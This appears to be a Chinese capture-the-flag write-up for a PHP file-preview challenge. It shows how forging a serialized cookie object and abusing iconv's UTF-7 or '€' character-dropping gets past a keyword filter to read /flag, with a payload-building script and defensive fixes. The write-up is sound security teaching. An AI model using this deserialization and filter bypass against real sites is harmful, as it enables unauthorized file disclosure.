攻击手法:

漏洞点主要在preview.php

看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (isset($_COOKIE['user'])) {
$user = @unserialize($_COOKIE['user']);
}
if (!$user instanceof User) {
$user = new User("guest");
setcookie("user", serialize($user), time() + 86400, "/");
}

$f = (string)($_GET['f'] ?? "");
if ($f === "") {
http_response_code(400);
echo "Missing parameter: f";
exit;
}

$rawPath = $user->basePath . $f;

中间没有任何过滤所以是存在反序列化漏洞的

User类很简单,成员变量都是可以伪造的

1
2
3
4
5
6
7
8
9
10
11
12
<?php
declare(strict_types=1);

class User {
public string $name = "guest";
public string $encoding = "UTF-8";
public string $basePath = "/var/www/html/uploads/";

public function __construct(string $name = "guest") {
$this->name = $name;
}
}

在后面则是做了一些过滤,然后包含了文件内容,最后把内容打印在网页上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) {
http_response_code(403);
echo "Access denied";
exit;
}

$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
if ($convertedPath === false || $convertedPath === "") {
http_response_code(500);
echo "Conversion failed";
exit;
}

$content = @file_get_contents($convertedPath);

我们的目的是读取根目录flag,在读文件之前这做了一个编码转换

这就需要知道php中iconv函数的一些特性了,这里列了两个

1
2
3
4
5
1.`iconv` 函数在从 `UTF-7` 转换到 `UTF-8` 并指定 `//IGNORE` 策略时,会忽略无法转换的字符
iconv("UTF-7", "UTF-8//IGNORE", '/');

2.`€`绕过
€在UTF-8与ISO-8859-1的转换中会被丢弃

这样思路就有了

在cookie的user字段传入我们构造好的序列化字符串basePath设置为根目录,并get传参一个文件名

这里用的是第一种编码转换方法,写个脚本

1
2
3
4
5
6
7
8
9
<?php

class User
{
public string $name = "guest";
public string $encoding = "UTF-7";
public string $basePath = "/";
}
echo urlencode(serialize(new User()));

在flag中间加一个UTF-7无法转UTF-8的字符,然后传参给f

第二种方法也是一个道理

image-20260416193120965

防御方法:

User类把basePath成员删掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

declare(strict_types=1);

class User
{
public string $name = "guest";
public string $encoding = "UTF-8";
// public string $basePath = "/var/www/html/uploads/";

public function __construct(string $name = "guest")
{
$this->name = $name;
}
}

preview.php中,User实例取消使用basePath,硬编码路径

1
2
3
4
5
$rawPath = $user->basePath . $f;

改为:

$rawPath = "/var/www/html/uploads/" . $f;

把改为先编码转换再做WAF检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) {
http_response_code(403);
echo "Access denied";
exit;
}

$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);

改为:

$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);

if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $convertedPath)) {
http_response_code(403);
echo "Access denied";
exit;
}